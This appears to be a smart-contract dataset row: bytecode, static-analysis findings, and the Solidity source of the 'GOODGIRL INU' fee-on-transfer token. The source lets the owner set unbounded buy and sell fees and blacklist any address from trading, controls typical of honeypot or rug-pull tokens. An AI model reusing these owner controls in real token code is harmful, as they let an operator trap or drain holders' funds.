57e57600080fd5b5051600160a060020a0330166000908152600a602090815260409182902092909255600554815160e060020a63771602f70281526004810191909152602481018490529051739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263771602f79260448082019391829003018186803b1580156115fa57600080fd5b505af415801561160e573d6000803e3d6000fd5b505050506040513d602081101561162457600080fd5b5051600555604080518281529051600160a060020a033016917f490ee00b8131ee72264dd76ea9ce9f90601540753e75e017a03484e8e29c8888919081900360200190a25050565b6000836116798185610c39565b156117825780600160a060020a0316638f4ffcb1338630876040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156117165781810151838201526020016116fe565b50505050905090810190601f1680156117435780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561176557600080fd5b505af1158015611779573d6000803e3d6000fd5b50505050600191505b509392505050565b600154600160a060020a031681565b6000805433600160a060020a039081169116146117b557600080fd5b506008805460ff1916911515919091179055600190565b600b60209081526000928352604080842090915290825290205481565b60005433600160a060020a039081169116148061181e5750600160a060020a03331660009081526009602052604090205460ff165b151561182957600080fd5b600054600160a060020a038381169116141561184457600080fd5b600160a060020a0382166000818152600c6020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b60005433600160a060020a039081169116146118c357600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0333166000908152600c602052604081205460ff161580156119345750600160a060020a0385166000908152600c602052604090205460ff16155b151561193f57600080fd5b61194885610ca3565b15611cc257600160a060020a0333166000908152600a602090815260409182902054825160e060020a63b67d77c50281526004810191909152602481018790529151739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263b67d77c5926044808301939192829003018186803b1580156119c257600080fd5b505af41580156119d6573d6000803e3d6000fd5b505050506040513d60208110156119ec57600080fd5b5051600160a060020a033381166000908152600a6020908152604080832094909455918816815282902054825160e060020a63771602f70281526004810191909152602481018790529151739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263771602f7926044808301939192829003018186803b158015611a6f57600080fd5b505af4158015611a83573d6000803e3d6000fd5b505050506040513d6020811015611a9957600080fd5b5051600160a060020a0386166000818152600a6020908152604080832094909455925185519293919286928291908401908083835b60208310611aed5780518252601f199092019160209182019101611ace565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611b7f578181015183820152602001611b67565b50505050905090810190601f168015611bac5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611bcc57fe5b84600160a060020a031633600160a060020a0316600080516020612403833981519152866040518082815260200191505060405180910390a384600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611c7f578181015183820152602001611c67565b50505050905090810190601f168015611cac5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001611cd0565b611ccd8585856120ec565b90505b949350505050565b60075481565b6000808211611cec57600080fd5b6729a2241af62c0000821015611d045750600a6114b2565b6729a2241af62c00008210158015611d235750674563918244f4000082105b15611d30575060146114b2565b674563918244f400008210158015611d50575068014d1120d7b160000082105b15611d5d5750601e6114b2565b68014d1120d7b160000082106114b2575060286114b2565b60045460ff16600a0a0290565b600160a060020a0333166000908152600a602052604081205481908410611da857600080fd5b600160a060020a0333166000908152600a602090815260409182902054825160e060020a63b67d77c50281526004810191909152602481018790529151739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263b67d77c5926044808301939192829003018186803b158015611e1d57600080fd5b505af4158015611e31573d6000803e3d6000fd5b505050506040513d6020811015611e4757600080fd5b5051600160a060020a033381166000908152600a6020908152604080832094909455918816815282902054825160e060020a63771602f70281526004810191909152602481018790529151739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263771602f7926044808301939192829003018186803b158015611eca57600080fd5b505af4158015611ede573d6000803e3d6000fd5b505050506040513d6020811015611ef457600080fd5b5051600160a060020a038087166000818152600a602090815260408083209590955593517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523393841660048201908152602482018a90526060604483019081528951606484015289518c9850949663c0ee0b8a96958c958c9560840192860191908190849084905b83811015611f96578181015183820152602001611f7e565b50505050905090810190601f168015611fc35780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611fe457600080fd5b505af1158015611ff8573d6000803e3d6000fd5b5050604080518781529051600160a060020a03808a169450331692506000805160206124038339815191529181900360200190a384600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156120a657818101518382015260200161208e565b50505050905090810190601f1680156120d35780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b600160a060020a0333166000908152600a6020526040812054831061211057600080fd5b600160a060020a0333166000908152600a602090815260409182902054825160e060020a63b67d77c50281526004810191909152602481018690529151739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263b67d77c5926044808301939192829003018186803b15801561218557600080fd5b505af4158015612199573d6000803e3d6000fd5b505050506040513d60208110156121af57600080fd5b5051600160a060020a033381166000908152600a6020908152604080832094909455918716815282902054825160e060020a63771602f70281526004810191909152602481018690529151739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263771602f7926044808301939192829003018186803b15801561223257600080fd5b505af4158015612246573d6000803e3d6000fd5b505050506040513d602081101561225c57600080fd5b5051600160a060020a038086166000818152600a602090815260408083209590955584518881528082018681528851968201969096528751939533909516947fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16948a948a946060850192908601918190849084905b838110156122e95781810151838201526020016122d1565b50505050905090810190601f1680156123165780820380516001836020036101000a031916815260200191505b50935050505060405180910390a383600160a060020a031633600160a060020a0316600080516020612403833981519152856040518082815260200191505060405180910390a35060019392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106123a857805160ff19168380011785556123d5565b828001600101855582156123d5579182015b828111156123d55782518255916020019190600101906123ba565b506123e19291506123e5565b5090565b6123ff91905b808211156123e157600081556001016123eb565b905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820b3a710af8416453515f81a9d94509dfd19afee85a61606d37c0d47c13faf4ba60029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}} | 994 |
0x9a83deabb6d818b4ea2628e25c3fcf1fcb0b93dd | /*
https://t.me/GoodGirl_INU
// SPDX-License-Identifier: GPL-3.0-or-later
/**
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GOODGIRL is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GOODGIRL INU";//
string private constant _symbol = "GOODGIRL";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;//
uint256 private _taxFeeOnBuy = 2;//
//Sell Fee
uint256 private _redisFeeOnSell = 4;//
uint256 private _taxFeeOnSell = 4;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x247D1E8Dd31a6178bAeEB177B9296Ba703742a20);//
address payable private _marketingAddress = payable(0x247D1E8Dd31a6178bAeEB177B9296Ba703742a20);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000000 * 10**9; //
uint256 public _maxWalletSize = 30000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 15000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = 3;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054f578063dd62ed3e14610565578063ea1644d5146105ab578063f2fde38b146105cb57600080fd5b8063a9059cbb146104ca578063bfd79284146104ea578063c3c8cd801461051a578063c492f0461461052f57600080fd5b80638f9a55c0116100d15780638f9a55c01461044357806395d89b411461045957806398a5c3151461048a578063a2a957bb146104aa57600080fd5b80637d1db4a5146103ef5780638da5cb5b146104055780638f70ccf71461042357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b8f565b6105eb565b005b34801561020a57600080fd5b5060408051808201909152600c81526b474f4f444749524c20494e5560a01b60208201525b60405161023c9190611cb9565b60405180910390f35b34801561025157600080fd5b50610265610260366004611ae5565b610698565b604051901515815260200161023c565b34801561028157600080fd5b50601554610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50683635c9adc5dea000005b60405190815260200161023c565b3480156102df57600080fd5b506102656102ee366004611aa5565b6106af565b3480156102ff57600080fd5b506102c560195481565b34801561031557600080fd5b506040516009815260200161023c565b34801561033157600080fd5b50601654610295906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611a35565b610718565b34801561037157600080fd5b506101fc610380366004611c56565b610763565b34801561039157600080fd5b506101fc6107ab565b3480156103a657600080fd5b506102c56103b5366004611a35565b6107f6565b3480156103c657600080fd5b506101fc610818565b3480156103db57600080fd5b506101fc6103ea366004611c70565b61088c565b3480156103fb57600080fd5b506102c560175481565b34801561041157600080fd5b506000546001600160a01b0316610295565b34801561042f57600080fd5b506101fc61043e366004611c56565b6108bb565b34801561044f57600080fd5b506102c560185481565b34801561046557600080fd5b5060408051808201909152600881526711d3d3d111d2549360c21b602082015261022f565b34801561049657600080fd5b506101fc6104a5366004611c70565b610908565b3480156104b657600080fd5b506101fc6104c5366004611c88565b610937565b3480156104d657600080fd5b506102656104e5366004611ae5565b610975565b3480156104f657600080fd5b50610265610505366004611a35565b60116020526000908152604090205460ff1681565b34801561052657600080fd5b506101fc610982565b34801561053b57600080fd5b506101fc61054a366004611b10565b6109d6565b34801561055b57600080fd5b506102c560085481565b34801561057157600080fd5b506102c5610580366004611a6d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b757600080fd5b506101fc6105c6366004611c70565b610a85565b3480156105d757600080fd5b506101fc6105e6366004611a35565b610ab4565b6000546001600160a01b0316331461061e5760405162461bcd60e51b815260040161061590611d0c565b60405180910390fd5b60005b81518110156106945760016011600084848151811061065057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611e1f565b915050610621565b5050565b60006106a5338484610b9e565b5060015b92915050565b60006106bc848484610cc2565b61070e843361070985604051806060016040528060288152602001611e7c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611275565b610b9e565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161061590611d0c565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161061590611d0c565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107e057506014546001600160a01b0316336001600160a01b0316145b6107e957600080fd5b476107f3816112af565b50565b6001600160a01b0381166000908152600260205260408120546106a990611334565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161061590611d0c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161061590611d0c565b601755565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161061590611d0c565b60168054911515600160a01b0260ff60a01b199092169190911790556003600855565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161061590611d0c565b601955565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161061590611d0c565b600993909355600b91909155600a55600c55565b60006106a5338484610cc2565b6013546001600160a01b0316336001600160a01b031614806109b757506014546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107f6565b90506107f3816113b8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161061590611d0c565b60005b82811015610a7f578160056000868685818110610a3057634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a459190611a35565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7781611e1f565b915050610a03565b50505050565b6000546001600160a01b03163314610aaf5760405162461bcd60e51b815260040161061590611d0c565b601855565b6000546001600160a01b03163314610ade5760405162461bcd60e51b815260040161061590611d0c565b6001600160a01b038116610b435760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610615565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c005760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610615565b6001600160a01b038216610c615760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610615565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610615565b6001600160a01b038216610d885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610615565b60008111610dea5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610615565b6000546001600160a01b03848116911614801590610e1657506000546001600160a01b03838116911614155b1561116e57601654600160a01b900460ff16610eaf576000546001600160a01b03848116911614610eaf5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610615565b601754811115610f015760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610615565b6001600160a01b03831660009081526011602052604090205460ff16158015610f4357506001600160a01b03821660009081526011602052604090205460ff16155b610f9b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610615565b6008544311158015610fba57506016546001600160a01b038481169116145b8015610fd457506015546001600160a01b03838116911614155b8015610fe957506001600160a01b0382163014155b15611012576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110975760185481611034846107f6565b61103e9190611db1565b106110975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610615565b60006110a2306107f6565b6019546017549192508210159082106110bb5760175491505b8080156110d25750601654600160a81b900460ff16155b80156110ec57506016546001600160a01b03868116911614155b80156111015750601654600160b01b900460ff165b801561112657506001600160a01b03851660009081526005602052604090205460ff16155b801561114b57506001600160a01b03841660009081526005602052604090205460ff16155b1561116b57611159826113b8565b47801561116957611169476112af565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111b057506001600160a01b03831660009081526005602052604090205460ff165b806111e257506016546001600160a01b038581169116148015906111e257506016546001600160a01b03848116911614155b156111ef57506000611269565b6016546001600160a01b03858116911614801561121a57506015546001600160a01b03848116911614155b1561122c57600954600d55600a54600e555b6016546001600160a01b03848116911614801561125757506015546001600160a01b03858116911614155b1561126957600b54600d55600c54600e555b610a7f8484848461155d565b600081848411156112995760405162461bcd60e51b81526004016106159190611cb9565b5060006112a68486611e08565b95945050505050565b6013546001600160a01b03166108fc6112c983600261158b565b6040518115909202916000818181858888f193505050501580156112f1573d6000803e3d6000fd5b506014546001600160a01b03166108fc61130c83600261158b565b6040518115909202916000818181858888f19350505050158015610694573d6000803e3d6000fd5b600060065482111561139b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610615565b60006113a56115cd565b90506113b1838261158b565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061140e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561146257600080fd5b505afa158015611476573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149a9190611a51565b816001815181106114bb57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114e19130911684610b9e565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061151a908590600090869030904290600401611d41565b600060405180830381600087803b15801561153457600080fd5b505af1158015611548573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061156a5761156a6115f0565b61157584848461161e565b80610a7f57610a7f600f54600d55601054600e55565b60006113b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611715565b60008060006115da611743565b90925090506115e9828261158b565b9250505090565b600d541580156116005750600e54155b1561160757565b600d8054600f55600e805460105560009182905555565b60008060008060008061163087611785565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061166290876117e2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116919086611824565b6001600160a01b038916